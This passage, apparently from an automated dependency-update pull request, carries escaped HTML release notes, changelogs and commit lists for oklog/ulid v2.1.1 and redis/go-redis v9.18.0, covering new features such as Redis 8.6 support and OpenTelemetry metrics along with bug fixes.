href=\"https://github.com/peterbourgon\"\u003e\u003ccode\u003e@​peterbourgon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/98\"\u003eoklog/ulid#98\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd ulid.Timestamp method by \u003ca href=\"https://github.com/peterbourgon\"\u003e\u003ccode\u003e@​peterbourgon\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/107\"\u003eoklog/ulid#107\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebump actions/setup-go@v5 by \u003ca href=\"https://github.com/shogo82148\"\u003e\u003ccode\u003e@​shogo82148\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/114\"\u003eoklog/ulid#114\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebump actions/checkout@v4 by \u003ca href=\"https://github.com/shogo82148\"\u003e\u003ccode\u003e@​shogo82148\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/113\"\u003eoklog/ulid#113\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eulid.Nil\u003c/code\u003e and \u003ccode\u003e.IsZero()\u003c/code\u003e method by \u003ca href=\"https://github.com/tonyhb\"\u003e\u003ccode\u003e@​tonyhb\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/112\"\u003eoklog/ulid#112\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/peteraba\"\u003e\u003ccode\u003e@​peteraba\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/82\"\u003eoklog/ulid#82\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/craigpastro\"\u003e\u003ccode\u003e@​craigpastro\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/88\"\u003eoklog/ulid#88\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/shogo82148\"\u003e\u003ccode\u003e@​shogo82148\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/114\"\u003eoklog/ulid#114\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/tonyhb\"\u003e\u003ccode\u003e@​tonyhb\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/oklog/ulid/pull/112\"\u003eoklog/ulid#112\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/oklog/ulid/compare/v2.1.0...v2.1.1\"\u003ehttps://github.com/oklog/ulid/compare/v2.1.0...v2.1.1\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/96c4edf226ef639c92f96f42c7c2a161ae0e1a66\"\u003e\u003ccode\u003e96c4edf\u003c/code\u003e\u003c/a\u003e Add \u003ccode\u003eulid.Zero\u003c/code\u003e and \u003ccode\u003e.IsZero()\u003c/code\u003e method (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/112\"\u003e#112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/8b543f47f77d8161698307a166e0e42a08f1c78a\"\u003e\u003ccode\u003e8b543f4\u003c/code\u003e\u003c/a\u003e bump actions/checkout@v4 (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/113\"\u003e#113\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/1d53f5dd0be1ab8a49bedce0c2680d8981cc3297\"\u003e\u003ccode\u003e1d53f5d\u003c/code\u003e\u003c/a\u003e bump actions/setup-go@v5 (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/114\"\u003e#114\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/a1d104faec9c5689bc5efd76c2b1820882ab3c93\"\u003e\u003ccode\u003ea1d104f\u003c/code\u003e\u003c/a\u003e Add ulid.Timestamp method (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/107\"\u003e#107\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/b4f99149a957226cf1ecd2d4da65297b809e9776\"\u003e\u003ccode\u003eb4f9914\u003c/code\u003e\u003c/a\u003e README: println -\u0026gt; fmt.Println\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/99f59762fe4431686af13a3dd4b190761b2ae908\"\u003e\u003ccode\u003e99f5976\u003c/code\u003e\u003c/a\u003e Refactor default entropy and fix test (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/98\"\u003e#98\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/6222989e3f95150b27dc0c18ac418c3eb7bffd02\"\u003e\u003ccode\u003e6222989\u003c/code\u003e\u003c/a\u003e ulid: add MakeFromTime helper function (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/87\"\u003e#87\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/ab8634515f749314bab81ba967c8641cd5d2616d\"\u003e\u003ccode\u003eab86345\u003c/code\u003e\u003c/a\u003e Add fmt, vet, staticcheck to CI and lint accordingly (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/89\"\u003e#89\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/1dfe33aa6d21e9797692115f2e59fb97eae1b2bc\"\u003e\u003ccode\u003e1dfe33a\u003c/code\u003e\u003c/a\u003e README: fix small typos (\u003ca href=\"https://redirect.github.com/oklog/ulid/issues/88\"\u003e#88\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/oklog/ulid/commit/1d504c6497efb575b36f513b53d332a373ebeba0\"\u003e\u003ccode\u003e1d504c6\u003c/code\u003e\u003c/a\u003e README: fix ulid tool install instructions\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/oklog/ulid/compare/v2.1.0...v2.1.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/redis/go-redis/v9` from 9.17.2 to 9.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/redis/go-redis/releases\"\u003egithub.com/redis/go-redis/v9's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.18.0\u003c/h2\u003e\n\u003ch3\u003eRedis 8.6 Support\u003c/h3\u003e\n\u003cp\u003eAdded support for Redis 8.6, including new commands and features for streams idempotent production and HOTKEYS.\u003c/p\u003e\n\u003ch3\u003eSmart Client Handoff (Maintenance Notifications) for Cluster\u003c/h3\u003e\n\u003cp\u003eThis release introduces comprehensive support for Redis Enterprise Cluster maintenance notifications via SMIGRATING/SMIGRATED push notifications. The client now automatically handles slot migrations by:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eRelaxing timeouts during migration\u003c/strong\u003e (SMIGRATING) to prevent false failures\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTriggering lazy cluster state reloads\u003c/strong\u003e upon completion (SMIGRATED)\u003c/li\u003e\n\u003cli\u003eEnabling seamless operations during Redis Enterprise maintenance windows\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3643\"\u003e#3643\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eOpenTelemetry Native Metrics Support\u003c/h3\u003e\n\u003cp\u003eAdded comprehensive OpenTelemetry metrics support following the \u003ca href=\"https://opentelemetry.io/docs/specs/semconv/database/database-metrics/\"\u003eOpenTelemetry Database Client Semantic Conventions\u003c/a\u003e. The implementation uses a Bridge Pattern to keep the core library dependency-free while providing optional metrics instrumentation through the new \u003ccode\u003eextra/redisotel-native\u003c/code\u003e package.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMetric groups include:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eCommand metrics: Operation duration with retry tracking\u003c/li\u003e\n\u003cli\u003eConnection basic: Connection count and creation time\u003c/li\u003e\n\u003cli\u003eResiliency: Errors, handoffs, timeout relaxation\u003c/li\u003e\n\u003cli\u003eConnection advanced: Wait time and use time\u003c/li\u003e\n\u003cli\u003ePubsub metrics: Published and received messages\u003c/li\u003e\n\u003cli\u003eStream metrics: Processing duration and maintenance notifications\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3637\"\u003e#3637\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e✨ New Features\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eHOTKEYS Commands\u003c/strong\u003e: Added support for Redis HOTKEYS feature for identifying hot keys based on CPU consumption and network utilization (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3695\"\u003e#3695\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStreams Idempotent Production\u003c/strong\u003e: Added support for Redis 8.6+ Streams Idempotent Production with \u003ccode\u003eProducerID\u003c/code\u003e, \u003ccode\u003eIdempotentID\u003c/code\u003e, \u003ccode\u003eIdempotentAuto\u003c/code\u003e in \u003ccode\u003eXAddArgs\u003c/code\u003e and new \u003ccode\u003eXCFGSET\u003c/code\u003e command (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3693\"\u003e#3693\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNaN Values for TimeSeries\u003c/strong\u003e: Added support for NaN (Not a Number) values in Redis time series commands (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3687\"\u003e#3687\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDialerRetries Options\u003c/strong\u003e: Added \u003ccode\u003eDialerRetries\u003c/code\u003e and \u003ccode\u003eDialerRetryTimeout\u003c/code\u003e to \u003ccode\u003eClusterOptions\u003c/code\u003e, \u003ccode\u003eRingOptions\u003c/code\u003e, and \u003ccode\u003eFailoverOptions\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3686\"\u003e#3686\u003c/a\u003e) by \u003ca href=\"https://github.com/naveenchander30\"\u003e\u003ccode\u003e@​naveenchander30\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConnMaxLifetimeJitter\u003c/strong\u003e: Added jitter configuration to distribute connection expiration times and prevent thundering herd (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3666\"\u003e#3666\u003c/a\u003e) by \u003ca href=\"https://github.com/cyningsun\"\u003e\u003ccode\u003e@​cyningsun\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDigest Helper Functions\u003c/strong\u003e: Added \u003ccode\u003eDigestString\u003c/code\u003e and \u003ccode\u003eDigestBytes\u003c/code\u003e helper functions for client-side xxh3 hashing compatible with Redis DIGEST command (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3679\"\u003e#3679\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSMIGRATED New Format\u003c/strong\u003e: Updated SMIGRATED parser to support new format and remember original host:port (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3697\"\u003e#3697\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCluster State Reload Interval\u003c/strong\u003e: Added cluster state reload interval option for maintenance notifications (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3663\"\u003e#3663\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePubSub nil pointer dereference\u003c/strong\u003e: Fixed nil pointer dereference in PubSub after \u003ccode\u003eWithTimeout()\u003c/code\u003e - \u003ccode\u003epubSubPool\u003c/code\u003e is now properly cloned (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3710\"\u003e#3710\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMaintNotificationsConfig nil check\u003c/strong\u003e: Guard against nil \u003ccode\u003eMaintNotificationsConfig\u003c/code\u003e in \u003ccode\u003einitConn\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3707\"\u003e#3707\u003c/a\u003e) by \u003ca href=\"https://github.com/veeceey\"\u003e\u003ccode\u003e@​veeceey\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewantConnQueue zombie elements\u003c/strong\u003e: Fixed zombie \u003ccode\u003ewantConn\u003c/code\u003e elements accumulation in \u003ccode\u003ewantConnQueue\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3680\"\u003e#3680\u003c/a\u003e) by \u003ca href=\"https://github.com/cyningsun\"\u003e\u003ccode\u003e@​cyningsun\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eXADD/XTRIM approx flag\u003c/strong\u003e: Fixed XADD and XTRIM to use \u003ccode\u003e=\u003c/code\u003e when approx is false (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3684\"\u003e#3684\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSentinel timeout retry\u003c/strong\u003e: When connection to a sentinel times out, attempt to connect to other sentinels (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3654\"\u003e#3654\u003c/a\u003e) by \u003ca href=\"https://github.com/cxljs\"\u003e\u003ccode\u003e@​cxljs\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⚡ Performance\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/redis/go-redis/blob/master/RELEASE-NOTES.md\"\u003egithub.com/redis/go-redis/v9's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e9.18.0 (2026-02-16)\u003c/h1\u003e\n\u003ch2\u003e🚀 Highlights\u003c/h2\u003e\n\u003ch3\u003eRedis 8.6 Support\u003c/h3\u003e\n\u003cp\u003eAdded support for Redis 8.6, including new commands and features for streams idempotent production and HOTKEYS.\u003c/p\u003e\n\u003ch3\u003eSmart Client Handoff (Maintenance Notifications) for Cluster\u003c/h3\u003e\n\u003cp\u003eThis release introduces comprehensive support for Redis Cluster maintenance notifications via SMIGRATING/SMIGRATED push notifications. The client now automatically handles slot migrations by:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eRelaxing timeouts during migration\u003c/strong\u003e (SMIGRATING) to prevent false failures\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTriggering lazy cluster state reloads\u003c/strong\u003e upon completion (SMIGRATED)\u003c/li\u003e\n\u003cli\u003eEnabling seamless operations during Redis Enterprise maintenance windows\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3643\"\u003e#3643\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eOpenTelemetry Native Metrics Support\u003c/h3\u003e\n\u003cp\u003eAdded comprehensive OpenTelemetry metrics support following the \u003ca href=\"https://opentelemetry.io/docs/specs/semconv/database/database-metrics/\"\u003eOpenTelemetry Database Client Semantic Conventions\u003c/a\u003e. The implementation uses a Bridge Pattern to keep the core library dependency-free while providing optional metrics instrumentation through the new \u003ccode\u003eextra/redisotel-native\u003c/code\u003e package.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eMetric groups include:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eCommand metrics: Operation duration with retry tracking\u003c/li\u003e\n\u003cli\u003eConnection basic: Connection count and creation time\u003c/li\u003e\n\u003cli\u003eResiliency: Errors, handoffs, timeout relaxation\u003c/li\u003e\n\u003cli\u003eConnection advanced: Wait time and use time\u003c/li\u003e\n\u003cli\u003ePubsub metrics: Published and received messages\u003c/li\u003e\n\u003cli\u003eStream metrics: Processing duration and maintenance notifications\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e(\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3637\"\u003e#3637\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003e✨ New Features\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eHOTKEYS Commands\u003c/strong\u003e: Added support for Redis HOTKEYS feature for identifying hot keys based on CPU consumption and network utilization (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3695\"\u003e#3695\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eStreams Idempotent Production\u003c/strong\u003e: Added support for Redis 8.6+ Streams Idempotent Production with \u003ccode\u003eProducerID\u003c/code\u003e, \u003ccode\u003eIdempotentID\u003c/code\u003e, \u003ccode\u003eIdempotentAuto\u003c/code\u003e in \u003ccode\u003eXAddArgs\u003c/code\u003e and new \u003ccode\u003eXCFGSET\u003c/code\u003e command (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3693\"\u003e#3693\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eNaN Values for TimeSeries\u003c/strong\u003e: Added support for NaN (Not a Number) values in Redis time series commands (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3687\"\u003e#3687\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDialerRetries Options\u003c/strong\u003e: Added \u003ccode\u003eDialerRetries\u003c/code\u003e and \u003ccode\u003eDialerRetryTimeout\u003c/code\u003e to \u003ccode\u003eClusterOptions\u003c/code\u003e, \u003ccode\u003eRingOptions\u003c/code\u003e, and \u003ccode\u003eFailoverOptions\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3686\"\u003e#3686\u003c/a\u003e) by \u003ca href=\"https://github.com/naveenchander30\"\u003e\u003ccode\u003e@​naveenchander30\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eConnMaxLifetimeJitter\u003c/strong\u003e: Added jitter configuration to distribute connection expiration times and prevent thundering herd (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3666\"\u003e#3666\u003c/a\u003e) by \u003ca href=\"https://github.com/cyningsun\"\u003e\u003ccode\u003e@​cyningsun\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eDigest Helper Functions\u003c/strong\u003e: Added \u003ccode\u003eDigestString\u003c/code\u003e and \u003ccode\u003eDigestBytes\u003c/code\u003e helper functions for client-side xxh3 hashing compatible with Redis DIGEST command (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3679\"\u003e#3679\u003c/a\u003e) by \u003ca href=\"https://github.com/ofekshenawa\"\u003e\u003ccode\u003e@​ofekshenawa\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSMIGRATED New Format\u003c/strong\u003e: Updated SMIGRATED parser to support new format and remember original host:port (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3697\"\u003e#3697\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCluster State Reload Interval\u003c/strong\u003e: Added cluster state reload interval option for maintenance notifications (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3663\"\u003e#3663\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003ePubSub nil pointer dereference\u003c/strong\u003e: Fixed nil pointer dereference in PubSub after \u003ccode\u003eWithTimeout()\u003c/code\u003e - \u003ccode\u003epubSubPool\u003c/code\u003e is now properly cloned (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3710\"\u003e#3710\u003c/a\u003e) by \u003ca href=\"https://github.com/apps/copilot-swe-agent\"\u003e\u003ccode\u003e@​Copilot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eMaintNotificationsConfig nil check\u003c/strong\u003e: Guard against nil \u003ccode\u003eMaintNotificationsConfig\u003c/code\u003e in \u003ccode\u003einitConn\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3707\"\u003e#3707\u003c/a\u003e) by \u003ca href=\"https://github.com/veeceey\"\u003e\u003ccode\u003e@​veeceey\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewantConnQueue zombie elements\u003c/strong\u003e: Fixed zombie \u003ccode\u003ewantConn\u003c/code\u003e elements accumulation in \u003ccode\u003ewantConnQueue\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3680\"\u003e#3680\u003c/a\u003e) by \u003ca href=\"https://github.com/cyningsun\"\u003e\u003ccode\u003e@​cyningsun\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eXADD/XTRIM approx flag\u003c/strong\u003e: Fixed XADD and XTRIM to use \u003ccode\u003e=\u003c/code\u003e when approx is false (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3684\"\u003e#3684\u003c/a\u003e) by \u003ca href=\"https://github.com/ndyakov\"\u003e\u003ccode\u003e@​ndyakov\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSentinel timeout retry\u003c/strong\u003e: When connection to a sentinel times out, attempt to connect to other sentinels (\u003ca href=\"https://redirect.github.com/redis/go-redis/pull/3654\"\u003e#3654\u003c/a\u003e) by \u003ca href=\"https://github.com/cxljs\"\u003e\u003ccode\u003e@​cxljs\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/90faf0692313160b1140f96716763227912aec44\"\u003e\u003ccode\u003e90faf06\u003c/code\u003e\u003c/a\u003e chore(release): update versions in deps (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3712\"\u003e#3712\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/bf8e8e3b16dc5b4f51b69e9bb9a49b72fb9e3e79\"\u003e\u003ccode\u003ebf8e8e3\u003c/code\u003e\u003c/a\u003e chore(release): v9.18.0 (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3711\"\u003e#3711\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/a881cd4280bf6006c14eda4b9449168b30e7dd02\"\u003e\u003ccode\u003ea881cd4\u003c/code\u003e\u003c/a\u003e fix(clone): nil pointer dereference in PubSub after WithTimeout() (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3710\"\u003e#3710\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/ee6e9dbf09125366d1270f31969b493325f524f1\"\u003e\u003ccode\u003eee6e9db\u003c/code\u003e\u003c/a\u003e feat(otel): Add OpenTelemetry Native Metrics Support (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3637\"\u003e#3637\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/b53f2b0c9d1fa4e19680a20de2050aa7c2c5ab8d\"\u003e\u003ccode\u003eb53f2b0\u003c/code\u003e\u003c/a\u003e feat(sch): MaintNotifications for ClusterClient (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3643\"\u003e#3643\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/f25343d2813d9f718a9158175d747173756f02c2\"\u003e\u003ccode\u003ef25343d\u003c/code\u003e\u003c/a\u003e chore(tests): Add comprehensive TLS tests and example (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3681\"\u003e#3681\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/33ca5cb864ce5567e8c955f66aba2723e89100d3\"\u003e\u003ccode\u003e33ca5cb\u003c/code\u003e\u003c/a\u003e feat(commands): Add support for Redis HOTKEYS commands (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3695\"\u003e#3695\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/34f4568e4f847465a5219fb51267c41433407c52\"\u003e\u003ccode\u003e34f4568\u003c/code\u003e\u003c/a\u003e fix(conn): guard against nil MaintNotificationsConfig in initConn (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3707\"\u003e#3707\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/2fc030f0d1020e3c7a52011343fcd10b995c22df\"\u003e\u003ccode\u003e2fc030f\u003c/code\u003e\u003c/a\u003e perf(options): perf Fuzz Test Go File (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3692\"\u003e#3692\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/redis/go-redis/commit/63ed1fd9cd6084e3bd68903d9f9a72df165693a7\"\u003e\u003ccode\u003e63ed1fd\u003c/code\u003e\u003c/a\u003e Add support for Redis Streams Idempotent Production (\u003ca href=\"https://redirect.github.com/redis/go-redis/issues/3693\"\u003e#3693\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/redis/go-redis/compare/v9.17.2...v9.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr 